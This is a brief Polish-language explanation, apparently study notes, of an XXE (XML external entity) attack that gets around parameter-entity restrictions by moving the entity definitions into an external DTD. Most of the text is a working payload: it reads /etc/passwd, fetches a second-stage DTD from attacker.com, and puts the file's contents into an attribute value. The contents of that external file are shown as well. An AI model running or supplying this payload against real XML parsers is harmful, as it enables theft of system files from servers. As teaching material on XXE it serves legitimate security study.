ten atak różni się od poprzedniego tym, że w atrybucie a raczej jego wartosci nie moze byc zewnętrznych encji, dodatkowo w encji param. nie może być innej encji param. ale jezeli encje param przeniesiemy do zewn. pliku i potem wywołamy w niej inna encje param to wszystko zadziala. <!DOCTYPE data [
<!ENTITY % file SYSTEM "/etc/passwd">
<!ENTITY % external SYSTEM "https://attacker.com/plik.xml">
%external;
%x;
]>
<data>
<transaction id="123&s;">
</data>
gdzie zawartość plik.xml to <!ENTITY % x '<!ENTITY s "%file;">'>